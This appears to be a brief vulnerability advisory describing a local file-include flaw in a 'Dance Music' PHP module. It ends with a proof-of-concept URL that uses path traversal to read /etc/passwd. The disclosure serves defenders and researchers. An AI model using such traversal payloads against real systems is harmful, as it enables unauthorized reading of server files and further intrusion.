source: https://www.securityfocus.com/bid/25806/info

Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. 

http://www.example.com/modules.php?name=Dance_Music-MM&page=1&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd